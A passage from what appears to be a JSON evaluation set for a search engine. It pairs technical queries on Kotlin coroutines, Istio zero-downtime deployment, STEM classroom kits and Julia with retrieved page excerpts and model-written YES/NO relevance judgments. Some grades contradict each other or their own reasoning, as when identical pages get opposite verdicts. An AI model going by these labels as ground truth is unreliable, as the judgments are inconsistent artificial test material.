                "model_trace": "Query Decomposition:\n1. {educational technology startups}: Realityworks is an educational technology company -> ([1], SATISFIED)\n2. {provide curriculum}: The document mentions that Realityworks creates comprehensive curriculum -> ([1], SATISFIED)\n3. {provide classroom kits for interactive science experiments}: The document mentions Realityworks' equipment and tools for hands-on activities, which implies they provide classroom kits -> ([2], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents relevant to the query. YES."
            },
            {
                "grade": "YES",
                "title": "Integrating STEM Into the Classroom: How to use ...",
                "url": "https://misstechqueen.com/2023/08/23/integrating-stem-into-the-classroom/",
                "published_date": null,
                "text": "STEM learning isn\u2019t just for science, math, and tech classes! And, it isn\u2019t just about coding or using complex software or robotics. Integrating STEM into the classroom can include anything from seasonal STEM activities to read-alouds. And, these STEM activities will help you seamlessly tap into the power of STEM all year long.  Integrating STEM into the classroom can actually enhance every single subject you teach. By creatively using STEM concepts in your curriculum all year long, you can encourage your students to be curious problem solvers. If you are new to STEM or have never tried a STEM challenge, I\u2019m here to tell you that it can be seamlessly combined with your curriculum throughout the school year. \n \nWhat is STEM in the Classroom?\nSo, what is STEM in the classroom? STEM learning in the classroom is all about the integration of science, technology, engineering, and mathematics to solve real-world problems. It fosters critical thinking, creativity, collaboration, and problem-solving skills among students. And. . . you can do all these things with fun and exciting activities that feel game-like. \nNo matter where you are in your STEM journey, I\u2019ve got you covered.  I\u2019m here to help you with everything you need to get started integrating STEM into the classroom!\nHow do I get Started with Integrating STEM Into the Classroom?\nWhen you are getting started with integrating STEM into the classroom, it\u2019s important to embrace a growth mindset not only for yourself but also for your students. Encourage them to view challenges as opportunities for growth and development. This mindset will create a positive and supportive classroom atmosphere where students feel comfortable exploring new concepts and taking risks.\n1. Start Small and Build Confidence \nIf you\u2019re new to integrating STEM into the classroom, it\u2019s essential to start small and build your confidence gradually. \n    \nBegin by selecting a single STEM activity that complements your existing lesson plans. \nFor instance, if you\u2019re teaching a science lesson about p",
                "model_trace": "Query Decomposition:\n1. [Middle school science teacher]: The document is targeted towards teachers looking to integrate STEM into their classrooms -> ([1], SATISFIED)\n2. [Hands-on STEM activities]: The document discusses integrating STEM activities into the classroom, including hands-on activities -> ([1], SATISFIED)\n3. [Educational technology startups]: The document does not mention any educational technology startups -> ([0], UNSURE)\n4. [Curriculum and classroom kits for interactive science experiments]: The document provides general advice on integrating STEM but does not mention specific curriculum or classroom kits -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {Middle school science teacher} and {Hands-on STEM activities}, both of which are satisfied. The document does not provide information on educational technology startups or specific curriculum and classroom kits, but these subcomponents are tagged [0] and do not affect the evaluation.\n\nYES"
            }
        ]
    },
    {
        "query": "As a senior Java developer transitioning to Kotlin, what are some advanced Kotlin coroutines patterns for handling complex asynchronous operations in Android development?",
        "grid_pos": [
            3,
            5
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Github/StackOverflow/Code/Debugging Resource",
        "reasoning_trace": [
            "These queries are challenging and diverse, targeting specific programming languages, frameworks, and specialized knowledge areas. They are personalized, mentioning the user's background or specific situation, and are seeking high-quality, technical resources likely to be found on platforms like StackOverflow, GitHub, or specialized debugging resources. The queries require deep understanding of complex topics in software development, data science, DevOps, accessibility, and cybersecurity, making them suitable for testing Exa's capabilities as a smart search engine."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "Kotlin coroutines on Android | Android Developers",
                "url": "https://developer.android.com/kotlin/coroutines",
                "published_date": "2022-09-05",
                "text": "A coroutine is a concurrency design pattern that you can use on\nAndroid to simplify code that executes asynchronously.\nCoroutines \nwere added to Kotlin in version 1.3 and are based on established\nconcepts from other languages.\nOn Android, coroutines help to manage long-running tasks that might\notherwise block the main thread and cause your app to become unresponsive.\nOver 50% of professional developers who use coroutines have reported seeing\nincreased productivity.\nThis topic describes how you can use Kotlin coroutines to address these\nproblems, enabling you to write cleaner and more concise app code.\nFeatures\nCoroutines is our recommended solution for asynchronous programming on\nAndroid. Noteworthy features include the following:\n\nLightweight: You can run many coroutines on a single thread due to\nsupport for\n suspension ,\nwhich doesn't block the thread where the coroutine is running. Suspending\nsaves memory over blocking while supporting many concurrent operations.\n Fewer memory leaks: Use\n structured concurrency \nto run operations within a scope.\n Built-in cancellation support:\nCancellation \nis propagated automatically through the running coroutine hierarchy.\n Jetpack integration: Many Jetpack libraries include\nextensions that provide full coroutines support. Some\nlibraries also provide their own\ncoroutine scope that you can\nuse for structured concurrency.\n\nExamples overview\nBased on the Guide to app architecture, the examples\nin this topic make a network request and return the result to the main\nthread, where the app can then display the result to the user.\nSpecifically, the ViewModel \nArchitecture component calls the repository layer on the main thread to\ntrigger the network request. This guide iterates through various solutions\nthat use coroutines keep the main thread unblocked.\n ViewModel includes a set of KTX extensions that work directly with\ncoroutines. These extension are\n lifecycle-viewmodel-ktx library and are used\nin this guide.\nDependency info\nTo use coroutines in your Android project, add the follo",
                "model_trace": "Query Decomposition:\n1. {Senior Java developer transitioning to Kotlin}: This document is targeted towards developers using Kotlin on Android, which is relevant for someone transitioning from Java to Kotlin -> ([2], SATISFIED)\n2. {Advanced Kotlin coroutines patterns}: The document provides an overview of Kotlin coroutines and their features but does not explicitly mention advanced patterns -> ([1], UNSATISFIED)\n3. {Handling complex asynchronous operations in Android development}: The document discusses using Kotlin coroutines for asynchronous programming in Android, including examples and features like structured concurrency and cancellation support -> ([1], SATISFIED)\n\nAssessment: The document satisfies the subcomponents related to transitioning to Kotlin and handling asynchronous operations in Android development but does not explicitly cover advanced coroutine patterns.\n\nNO"
            },
            {
                "grade": "YES",
                "title": "Improve app performance with Kotlin coroutines | Android Developers",
                "url": "https://developer.android.com/kotlin/coroutines/coroutines-adv",
                "published_date": "2021-05-10",
                "text": "Kotlin coroutines \nenable you to write clean, simplified asynchronous code that keeps\nyour app responsive while managing long-running tasks such as network calls\nor disk operations.\nThis topic provides a detailed look at coroutines on Android. If you're\nunfamiliar with coroutines, be sure to read\nKotlin coroutines on Android before reading this topic.\nManage long-running tasks\nCoroutines build upon regular functions by adding two operations to handle\nlong-running tasks. In addition to invoke (or call) and return,\ncoroutines add suspend and resume:\n\nsuspend pauses the execution of the current coroutine, saving all local\nvariables.\n resume continues execution of a suspended coroutine from the place\nwhere it was suspended.\n\nYou can call suspend functions only from other suspend functions or\nby using a coroutine builder such as launch to start a new coroutine.\nThe following example shows a simple coroutine implementation for a\nhypothetical long-running task:\n suspend fun fetchDocs() { // Dispatchers.Main\n val result = get(\"https://developer.android.com\") // Dispatchers.IO for `get`\n show(result) // Dispatchers.Main\n}\nsuspend fun get(url: String) = withContext(Dispatchers.IO) { /* ... */ }\n\nIn this example, get() still runs on the main thread, but it suspends the\ncoroutine before it starts the network request. When the network request\ncompletes, get resumes the suspended coroutine instead of using a callback\nto notify the main thread.\nKotlin uses a stack frame to manage which function is running along\nwith any local variables. When suspending a coroutine, the current stack\nframe is copied and saved for later. When resuming, the stack frame is\ncopied back from where it was saved, and the function starts running again.\nEven though the code might look like an ordinary sequential blocking\nrequest, the coroutine ensures that the network request avoids blocking\nthe main thread.\nUse coroutines for main-safety\nKotlin coroutines use dispatchers to determine which threads are used for\ncoroutine execution. To run code outside of",
                "model_trace": "Query Decomposition:\n1. {senior Java developer transitioning to Kotlin}: The document does not provide information specifically for developers transitioning from Java to Kotlin -> ([0], UNSURE)\n2. {advanced Kotlin coroutines patterns}: The document provides a detailed look at Kotlin coroutines and some patterns for handling asynchronous operations -> ([1], SATISFIED)\n3. {handling complex asynchronous operations}: The document discusses managing long-running tasks and asynchronous operations using Kotlin coroutines -> ([1], SATISFIED)\n4. {Android development}: The document is specifically about Kotlin coroutines on Android -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {advanced Kotlin coroutines patterns}, {handling complex asynchronous operations}, and {Android development}. Since all these subcomponents are satisfied, the document is helpful for the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "Kotlin flows on Android | Android Developers",
                "url": "https://developer.android.com/kotlin/flow",
                "published_date": "2022-09-08",
                "text": "In coroutines, a flow is a type that can emit multiple values\nsequentially, as opposed to suspend functions that return only\na single value. For example, you can use a flow to receive live\nupdates from a database.\nFlows are built on top of coroutines and can provide multiple values.\nA flow is conceptually a stream of data that can be computed\nasynchronously. The emitted values must be of the same type. For\nexample, a Flow<Int> is a flow that emits integer values.\nA flow is very similar to an Iterator that produces a sequence of\nvalues, but it uses suspend functions to produce and consume values\nasynchronously. This means, for example, that the flow can safely make a\nnetwork request to produce the next value without blocking the main\nthread.\nThere are three entities involved in streams of data:\n\nA producer produces data that is added to the stream. Thanks to\ncoroutines, flows can also produce data asynchronously.\n (Optional) Intermediaries can modify each value emitted into the\nstream or the stream itself.\nA consumer consumes the values from the stream.\n\nFigure 1. Entities involved in streams of data:\n consumer, optional intermediaries, and producer.\n\nIn Android, a repository is\ntypically a producer of UI data that has the user interface (UI) as the consumer\nthat ultimately displays the data. Other times, the UI layer is a producer of\nuser input events and other layers of the hierarchy consume them. Layers in\nbetween the producer and consumer usually act as intermediaries that modify the\nstream of data to adjust it to the requirements of the following layer.\nCreating a flow\nTo create flows, use the\nflow builder \nAPIs. The flow builder function creates a new flow where you can manually\nemit new values into the stream of data using the\n emit \nfunction.\nIn the following example, a data source fetches the latest news\nautomatically at a fixed interval. As a suspend function cannot\nreturn multiple consecutive values, the data source creates and returns\na flow to fulfill this requirement. In this case, the data source ac",
                "model_trace": "Query Decomposition:\n1. {senior Java developer transitioning to Kotlin}: The document does not address the transition from Java to Kotlin -> ([0], UNSURE)\n2. {advanced Kotlin coroutines patterns}: The document discusses Kotlin flows, which are an advanced feature built on top of coroutines -> ([1], SATISFIED)\n3. {handling complex asynchronous operations}: The document explains how flows can handle asynchronous operations, including live updates and network requests -> ([1], SATISFIED)\n4. {Android development}: The document specifically focuses on using Kotlin flows in Android development -> ([1], SATISFIED)\n\nAssessment: The document satisfies the key subcomponents related to advanced Kotlin coroutines patterns, handling complex asynchronous operations, and Android development. It does not address the transition from Java to Kotlin, but this is not critical for evaluating the document's usefulness for the query.\n\nYES"
            },
            {
                "grade": "NO",
                "title": "Kotlin coroutines on Android",
                "url": "https://developer.android.com/kotlin/coroutines",
                "published_date": null,
                "text": "A coroutine is a concurrency design pattern that you can use on\nAndroid to simplify code that executes asynchronously.\nCoroutines \nwere added to Kotlin in version 1.3 and are based on established\nconcepts from other languages.\nOn Android, coroutines help to manage long-running tasks that might\notherwise block the main thread and cause your app to become unresponsive.\nOver 50% of professional developers who use coroutines have reported seeing\nincreased productivity.\nThis topic describes how you can use Kotlin coroutines to address these\nproblems, enabling you to write cleaner and more concise app code.\nFeatures\nCoroutines is our recommended solution for asynchronous programming on\nAndroid. Noteworthy features include the following:\n Lightweight: You can run many coroutines on a single thread due to\nsupport for\n suspension ,\nwhich doesn't block the thread where the coroutine is running. Suspending\nsaves memory over blocking while supporting many concurrent operations.\n Fewer memory leaks: Use\n structured concurrency  \nto run operations within a scope.\n Built-in cancellation support:\nCancellation \nis propagated automatically through the running coroutine hierarchy.\n Jetpack integration: Many Jetpack libraries include\nextensions that provide full coroutines support. Some\nlibraries also provide their own\ncoroutine scope that you can\nuse for structured concurrency.\nExamples overview\nBased on the Guide to app architecture, the examples\nin this topic make a network request and return the result to the main\nthread, where the app can then display the result to the user.\nSpecifically, the  ViewModel \nArchitecture component calls the repository layer on the main thread to\ntrigger the network request. This guide iterates through various solutions\nthat use coroutines keep the main thread unblocked.\n ViewModel includes a set of KTX extensions that work directly with\ncoroutines. These extension are\n lifecycle-viewmodel-ktx library and are used\nin this guide.\nDependency info\nTo use coroutines in your Android project, add the foll",
                "model_trace": "Query Decomposition:\n1. {advanced Kotlin coroutines patterns}: The document provides an overview of Kotlin coroutines, but it does not specifically mention advanced patterns -> ([1], UNSATISFIED)\n2. {handling complex asynchronous operations}: The document discusses how coroutines help manage long-running tasks and prevent blocking the main thread, which is relevant to handling asynchronous operations -> ([1], SATISFIED)\n3. {Android development}: The document is specifically about using Kotlin coroutines in Android development -> ([1], SATISFIED)\n\nAssessment: The document satisfies the subcomponents related to handling asynchronous operations and Android development but does not cover advanced Kotlin coroutines patterns. Therefore, it does not fully meet the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "Top 100 Kotlin Interview Questions and Answers - Shirsh Shukla",
                "url": "https://shirsh94.medium.com/top-100-kotlin-interview-questions-and-answers-d1f6785f336a",
                "published_date": null,
                "text": "here we discuss questions regarding all aspects that are mostly asked in Kotlin Interviews            Especially in Android development, Kotlin has become a popular programming language. In order to help you succeed in Kotlin interviews, we\u2019ve simplified the 100 most common interview questions for you. This guide covers a wide range of topics, including basic language concepts and advanced features. Every question is accompanied by a straightforward answer and practical example, making it easy to comprehend and apply. By studying these questions, you\u2019ll gain a solid understanding of Kotlin and improve your problem-solving skills. With this resource at your disposal, you can prepare for success and confidently tackle Kotlin interviews.  1. What is Kotlin?  Kotlin is a modern programming language developed by JetBrains. It is statically typed and runs on the Java Virtual Machine (JVM). The Kotlin language is designed to be interoperable with Java, so you can use Kotlin code alongside Java code seamlessly. Aside from Android app development, it is also used for server-side and web development.    2. How is Kotlin different from Java?  Kotlin and Java both programming languages that run on the Java Virtual Machine (JVM). but Kotlin is designed to be more concise and expressive, reducing unnecessary code. One notable feature is its built-in null safety, helping to avoid common programming errors related to null values. Kotlin also introduces modern language features like extension functions and coroutines, offering developers more flexibility and improved productivity compared to Java.    3. Explain the advantages of using Kotlin.  Some advantages of using Kotlin include:  Concise Syntax: Kotlin\u2019s syntax is more concise, reducing boilerplate code and making it easier to read and write. Null Safety: Kotlin\u2019s null safety features help prevent null pointer exceptions, enhancing code reliability. Interoperability: Kotlin is fully interoperable with Java, allowing you to leverage existing Java libraries and frameworks in K",
                "model_trace": "Query Decomposition:\n1. {senior Java developer transitioning to Kotlin}: This subcomponent is about the user's background and transition phase, which is not directly addressed in the document -> ([0], UNSURE)\n2. {advanced Kotlin coroutines patterns}: The document does not specifically mention advanced Kotlin coroutines patterns -> ([1], UNSATISFIED)\n3. {handling complex asynchronous operations in Android development}: The document does not cover handling complex asynchronous operations in Android development -> ([1], UNSATISFIED)\n\nAssessment: The document does not satisfy the key subcomponents related to advanced Kotlin coroutines patterns or handling complex asynchronous operations in Android development. NO."
            },
            {
                "grade": "NO",
                "title": "Improve app performance with Kotlin coroutines",
                "url": "https://developer.android.com/kotlin/coroutines/coroutines-adv",
                "published_date": null,
                "text": "Kotlin coroutines \nenable you to write clean, simplified asynchronous code that keeps\nyour app responsive while managing long-running tasks such as network calls\nor disk operations.\nThis topic provides a detailed look at coroutines on Android. If you're\nunfamiliar with coroutines, be sure to read\nKotlin coroutines on Android before reading this topic.\nManage long-running tasks\nCoroutines build upon regular functions by adding two operations to handle\nlong-running tasks. In addition to invoke (or call) and return,\ncoroutines add suspend and resume:\n suspend pauses the execution of the current coroutine, saving all local\nvariables.\n resume continues execution of a suspended coroutine from the place\nwhere it was suspended.\nYou can call suspend functions only from other suspend functions or\nby using a coroutine builder such as launch to start a new coroutine.\nThe following example shows a simple coroutine implementation for a\nhypothetical long-running task:\n suspend fun fetchDocs() { // Dispatchers.Main\n val result = get(\"https://developer.android.com\") // Dispatchers.IO for `get`\n show(result) // Dispatchers.Main\n}\nsuspend fun get(url: String) = withContext(Dispatchers.IO) { /* ... */ }\n \nIn this example, get() still runs on the main thread, but it suspends the\ncoroutine before it starts the network request. When the network request\ncompletes, get resumes the suspended coroutine instead of using a callback\nto notify the main thread.\nKotlin uses a stack frame to manage which function is running along\nwith any local variables. When suspending a coroutine, the current stack\nframe is copied and saved for later. When resuming, the stack frame is\ncopied back from where it was saved, and the function starts running again.\nEven though the code might look like an ordinary sequential blocking\nrequest, the coroutine ensures that the network request avoids blocking\nthe main thread.\nUse coroutines for main-safety\nKotlin coroutines use dispatchers to determine which threads are used for\ncoroutine execution. To run code outside of",
                "model_trace": "Query Decomposition:\n1. {senior Java developer transitioning to Kotlin}: This subcomponent is about the user's background and motivation, which is not directly relevant to the content evaluation -> ([0], UNSURE)\n2. {advanced Kotlin coroutines patterns}: The document discusses Kotlin coroutines, including suspend and resume operations, but it is unclear if it covers advanced patterns -> ([1], UNSURE)\n3. {handling complex asynchronous operations in Android development}: The document does discuss using Kotlin coroutines for handling long-running tasks like network calls or disk operations, which are examples of complex asynchronous operations in Android development -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {advanced Kotlin coroutines patterns} and {handling complex asynchronous operations in Android development}. The document satisfies the subcomponent about handling complex asynchronous operations but is unclear about advanced patterns. Therefore, the document is not fully aligned with the user's query. NO."
            }
        ]
    },
    {
        "query": "As a DevOps engineer working with Kubernetes, what are some best practices for implementing a zero-downtime deployment strategy for a microservices architecture using Istio service mesh?",
        "grid_pos": [
            3,
            5
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Github/StackOverflow/Code/Debugging Resource",
        "reasoning_trace": [
            "These queries are challenging and diverse, targeting specific programming languages, frameworks, and specialized knowledge areas. They are personalized, mentioning the user's background or specific situation, and are seeking high-quality, technical resources likely to be found on platforms like StackOverflow, GitHub, or specialized debugging resources. The queries require deep understanding of complex topics in software development, data science, DevOps, accessibility, and cybersecurity, making them suitable for testing Exa's capabilities as a smart search engine."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Zero Downtime Releases using Kubernetes and Istio",
                "url": "https://pjausovec.medium.com/zero-downtime-releases-using-kubernetes-and-istio-ce56f1cf84dc",
                "published_date": "2020-08-19",
                "text": "Peter Jausovec Feb 28, 2019 6 min read Photo by Jeremy Perkins on Unsplash This is an excerpt from the upcoming Learn Istio ebook \u2014 you can get a free 20+ page PDF and supporting YAML files preview or preorder the book at https://learnistio.com",
                "model_trace": "Query Decomposition:\n1. {DevOps engineer working with Kubernetes}: The document is about Kubernetes, which is relevant to a DevOps engineer working with Kubernetes -> ([1], SATISFIED)\n2. {best practices for implementing a zero-downtime deployment strategy}: The title suggests the document covers zero-downtime releases, which implies best practices for such a strategy -> ([1], SATISFIED)\n3. {microservices architecture}: The document mentions Kubernetes, which is commonly used for microservices architectures, so it is likely relevant -> ([2], SATISFIED)\n4. {using Istio service mesh}: The title explicitly mentions Istio, indicating the document is about using Istio service mesh -> ([1], SATISFIED)\n\nAssessment: All subcomponents are SATISFIED. The document appears to be highly relevant and useful for the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "Zero Downtime Releases using Kubernetes and Istio | HackerNoon",
                "url": "https://hackernoon.com/zero-downtime-releases-using-kubernetes-and-istio-ce56f1cf84dc?source=rss----3a8144eabfe3---4",
                "published_date": "2019-02-27",
                "text": "Photo by Jeremy Perkins on Unsplash \n This is an excerpt from the upcoming Learn Istio ebook \u2014 you can get a free 20+ page PDF and supporting YAML files preview or preorder the book at https://learnistio.com \nThe idea behind zero downtime release is to release a new version of the service, without affecting any users \u2014 i.e., users don\u2019t even know when a new version of the service is released. A practical example would be if you have a website running, how can you can you release a new version without taking the site down? For services, it means that you can make continuous requests to that service while new service is being released and the callers never get that dreaded 504 Service Unavailable response.\nIn this article, I\u2019ll explain two methods on how to do the zero downtime deployments \u2014 one using Kubernetes only and the second one using Istio service mesh.\nUsing Kubernetes (Rolling Updates)\nAs the first option for zero downtime deployments, we are just going to use \u201cplain\u201d Kubernetes, without any Istio involved. We are going to use a simple Node.Js web application that shows \u201cHello World!\u201d message.\nYou can deploy the above YAML using kubectl apply -f helloworld.yaml. This creates a Kubernetes service called helloworld and a Kubernetes deployment with three replicas and with an image called learnistio/helloworld:1.0.0 \u2014 pretty much the simplest YAML you can come up with to run something inside Kubernetes.\nTo access the website, you can use the port-forward command from the Kubernetes CLI. This command opens a tunnel between the service running inside the cluster and your local machine:\n kubectl port-forward service/helloworld 3000 3000 \nOpen http://localhost:3000 in the browser of your choice, and you should get an ugly looking page like the one in the figure below:\n\nExtremely plain looking Hello World app\nNow, we want to update this website with a newer release. Assuming you built and created an image called learnistio/helloworld:2.0.0, we need to update the deployment with this new image. Not only that, we ne",
                "model_trace": "Query Decomposition:\n1. {Best practices for implementing a zero-downtime deployment strategy}: The document discusses zero-downtime releases, which aligns with this subcomponent -> ([1], SATISFIED)\n2. {For a microservices architecture}: The document does not explicitly mention microservices but discusses general deployment strategies that could apply to microservices -> ([2], SATISFIED)\n3. {Using Kubernetes}: The document explains methods for zero-downtime deployments using Kubernetes -> ([1], SATISFIED)\n4. {Using Istio service mesh}: The document specifically mentions using Istio service mesh for zero-downtime deployments -> ([1], SATISFIED)\n\nAssessment: The document satisfies all relevant subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "GitHub - sdaschner/zero-downtime-kubernetes",
                "url": "https://github.com/sdaschner/zero-downtime-kubernetes",
                "published_date": "2019-10-29",
                "text": "Name already in use\n\nA tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?\n\n7\n branches\n\n41\n tags\n\nCode\n\nUse Git or checkout with SVN using the web URL.\n\nOpen with GitHub Desktop\n\nDownload ZIP\n\nLatest commit\n\nFiles\n\nPermalink\n\nFailed to load latest commit information.\n\nType\n Name\n Latest commit message\n Commit time\n\nZero-downtime rolling update deployments with Istio\n\nRunning the example\n\nNote\n\nTo run the deployment scripts, kontemplate is required.\n\nBuild the project via Maven (mvn clean package).\n\nBuild and push a Docker image to a registry of your choice.\n\nChange some behavior and re-build the project and Docker image with another Docker tag and re-push the image.\n\nChange the image definition in deployment/coffee-shop/deployment.tpl.yaml (the part before the version variable)\n\nChange the IP address definition in deployment/coffee-shop/service-entry.yaml to the public IP address of your ingress gateway.\n\nRun deployment/deploy-v1.sh\n\nTest the running version\n\nRun deployment/exec-zero-downtime.sh <old-version> <new-version> <new-image> to perform a deployment using version subsets (v1, v2, \u2026\u200b). Example: deployment/exec-zero-downtime.sh v1 v2 2\n\nRun kubectl port-forward <fortio-pod> 8080:8080, and run ./curl-test.sh or ./load-test.sh to test your application\n\nBrowse http://localhost:8080/fortio/browse to see the load test results.\n\nPerform a deployment during a load test and see what happens",
                "model_trace": "Query Decomposition:\n1. {DevOps engineer working with Kubernetes}: The document is focused on Kubernetes deployments -> ([1], SATISFIED)\n2. {best practices for implementing a zero-downtime deployment strategy}: The document provides a specific example of zero-downtime rolling update deployments -> ([1], SATISFIED)\n3. {microservices architecture}: The document does not explicitly mention microservices architecture, but it can be inferred that the example is relevant to microservices -> ([2], SATISFIED)\n4. {using Istio service mesh}: The document specifically mentions using Istio for the zero-downtime deployment -> ([1], SATISFIED)\n\nAssessment: The document satisfies all the relevant subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "Step-by-Step Guide to Setup Istio - DEVOPS DONE RIGHT",
                "url": "https://opstree.com/blog/2024/01/09/step-by-step-guide-to-setup-istio/",
                "published_date": null,
                "text": "Understanding Istio and Service Mesh\nIstio is a powerful service mesh designed to manage communication between individual microservices seamlessly. Before diving into Istio, let\u2019s grasp the concept of a service mesh.\n Service Mesh: A service mesh is a dedicated infrastructure layer that manages communication between microservices. It offers features like load balancing, service discovery, encryption, fault tolerance, traffic management, and more, making it an indispensable component for organizations navigating the complexities of distributed systems.\nIstio Architecture\n \nIn earlier versions (pre v1.5), Istio consisted of multiple components like Pilot, Citadel, Galley, and Mixer. Post v1.5, these components were consolidated into a single component called Istiod, simplifying operational management.\n Istio Components:\n Control Plane: The Istio control plane is managed by the istiod component. It handles the management and injection of Envoy proxies into each microservice.\n Data Plane: This comprises all Envoy proxies responsible for routing and managing traffic.\nAdditionally, one crucial component integral to Istio\u2019s functioning is the Envoy Proxy.\n Envoy Proxy: Envoy is a high-performance, open-source proxy that plays a pivotal role in Istio\u2019s architecture. It\u2019s deployed alongside your microservices to manage and control the flow of traffic between them.\nWhile Istiod handles the control plane, managing the configuration and policies, Envoy operates in the data plane, actively handling the actual data traffic.\nKey Features of Istio Configuration\n No Modification to Deployments and Services: Istio allows you to keep your Kubernetes manifest for Deployments and Services untouched.\nSeparation of Configuration: The Istio configuration is kept separate from the application configuration.\n CustomResourceDefinitions (CRD): Istio leverages CRDs for third-party technologies, promoting extensibility.\nSetting Up Istio in Kubernetes Cluster\nStep 1: Download Istio\nDownload the latest release of Istio using the following comma",
                "model_trace": "Query Decomposition:\n1. [Best practices for implementing a zero-downtime deployment strategy]: The document does not specifically mention best practices for zero-downtime deployment -> ([0], UNSURE).\n2. [Microservices architecture]: The document discusses microservices architecture in the context of Istio -> ([1], SATISFIED).\n3. [Using Istio service mesh]: The document provides a detailed explanation of Istio and its components -> ([1], SATISFIED).\n\nAssessment: The document provides a comprehensive overview of Istio and its components, which is relevant for a DevOps engineer working with Kubernetes and Istio. However, it does not specifically address best practices for implementing a zero-downtime deployment strategy. Since the key subcomponent about zero-downtime deployment strategy is tagged [0] and is UNSURE, it should not affect the evaluation. The relevant subcomponents are satisfied.\n\nYES"
            },
            {
                "grade": "NO",
                "title": "Implementing a Service Mesh in Kubernetes",
                "url": "https://loft.sh/blog/implementing-a-service-mesh-in-kubernetes/",
                "published_date": null,
                "text": "A microservices architecture makes it possible to deploy an application as a collection of loosely coupled services. This means that an error on one service is unlikely to crash the entire application. However, using microservices also means that services need to be able to communicate with each other.\nIn Kubernetes, traffic flows north-south from external users to the cluster via an ingress. Traffic within the cluster, for example from service to service, flows east-west. A service mesh provides an effective and secure means for handling east-west traffic, the kind of traffic that can enable multiple services in a microservice application to communicate with each other in a Kubernetes deployment.\nIn this post, you\u2019ll learn how to implement a service mesh in Kubernetes. Before we dive deep into the topic, let\u2019s take a look at what a service mesh is.\n # What Is a Service Mesh? \nSimply put, a service mesh is a layer of infrastructure that handles service-to-service communication. Without a service mesh, developers will usually code the functionalities that make service-to-service communication into the business logic of their microservice application. So a service mesh can eliminate the need to have extra code that\u2019s not part of your core application inside your services.\n # What Does a Service Mesh Do? \nA service mesh uses a proxy (or sidecar) that sides alongside each service. This sidecar is responsible for routing requests from one service to the sidecar in another service. As a result of this nature, service mesh makes collecting metrics and detecting issues easier.\nThe following list shows some of the things you can use a service mesh for in your application:\n 1. Collecting Metrics: A service mesh can collect details and logs about the traffic that flows through services and containers.\n 2. Reducing Downtime: You can use a service mesh to reduce downtime in different ways. For example, a service mesh can route requests away from failing services to increase uptime and stability.\n 3. Added Security: A Service ",
                "model_trace": "Query Decomposition:\n1. {best practices for implementing a zero-downtime deployment strategy}: The document mentions reducing downtime using a service mesh but does not provide specific best practices for zero-downtime deployment -> ([1], UNSATISFIED)\n2. {microservices architecture}: The document discusses microservices architecture -> ([1], SATISFIED)\n3. {using Istio service mesh}: The document talks about service meshes in general but does not specifically mention Istio -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {best practices for implementing a zero-downtime deployment strategy} and {microservices architecture}. Since {best practices for implementing a zero-downtime deployment strategy} is not satisfied, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "YES",
                "title": "Kubernetes Service Mesh: Practical Deployment Strategies ...",
                "url": "https://www.linkedin.com/pulse/kubernetes-service-mesh-practical-deployment-nitesh-upadhyay-2yulf",
                "published_date": null,
                "text": "Nitesh Upadhyay\n      \n      \n          \n          \n          \n            \n        Nitesh Upadhyay\n      \n          \n          \n            \n              \n            Devops Cloud Engineer (to the cloud \u2601\ufe0f\ud83d\ude80) | GCP | AWS | Terraform | Kubernetes | GitHub | Ex-Infoscion\n                \n            \n              \n                \n          Published Apr 28, 2024\n      \n              \n        \n          \n      \n    \n      \n      \n      \n            \n                \n    \n          Introduction:  In the world of modern microservices architectures, Kubernetes service mesh plays a crucial role in managing service-to-service communication, enhancing reliability, security, and observability. This article will give you understanding into practical deployment strategies and configuration techniques tailored for optimizing service mesh deployments in Kubernetes environments.\n        \n  \n                \n    \n          1. Understanding Kubernetes Service Mesh:  Kubernetes service mesh is a layer of infrastructure that facilitates secure, reliable communication between microservices within a Kubernetes cluster. It typically includes components such as Istio, Linkerd, or Consul, providing features like traffic management, security, and observability. Leveraging a service mesh simplifies the complexities of managing microservices architectures, ensuring seamless communication and efficient resource utilization.\n        \n  \n                \n    \n          2. Deployment Strategies:\n        \n  \n                \n    \n        \n        \n     Blue/Green Deployment:  Blue/green deployment involves maintaining two identical environments (blue and green), with only one serving live traffic at a time. This strategy enables seamless deployments and rollback capabilities, minimizing downtime and mitigating risks associated with updates. \n     Canary Deployment:  Canary deployment allows for gradual feature rollout by directing a subset of users to the new version of a service while maintaining the existing version for others. This approa",
                "model_trace": "Query Decomposition:\n1. {Best practices for implementing a zero-downtime deployment strategy}: The document discusses deployment strategies such as blue/green deployment and canary deployment, which are relevant to zero-downtime strategies -> ([1], SATISFIED)\n2. {Microservices architecture}: The document mentions microservices architectures and their management within Kubernetes environments -> ([1], SATISFIED)\n3. {Using Istio service mesh}: The document mentions Istio as part of Kubernetes service mesh components -> ([1], SATISFIED)\n\nAssessment: All key subcomponents are satisfied, making the document helpful for the user's query. YES."
            }
        ]
    },
    {
        "query": "I'm a data scientist with experience in Python and R. Can someone explain the key differences and advantages of using Julia for machine learning tasks, particularly for large-scale optimization problems?",
        "grid_pos": [
            3,
            5
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Github/StackOverflow/Code/Debugging Resource",
        "reasoning_trace": [
            "These queries are challenging and diverse, targeting specific programming languages, frameworks, and specialized knowledge areas. They are personalized, mentioning the user's background or specific situation, and are seeking high-quality, technical resources likely to be found on platforms like StackOverflow, GitHub, or specialized debugging resources. The queries require deep understanding of complex topics in software development, data science, DevOps, accessibility, and cybersecurity, making them suitable for testing Exa's capabilities as a smart search engine."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "5 Ways Julia Is Better Than Python",
                "url": "https://towardsdatascience.com/5-ways-julia-is-better-than-python-334cc66d64ae?gi=a1a2fff3982a",
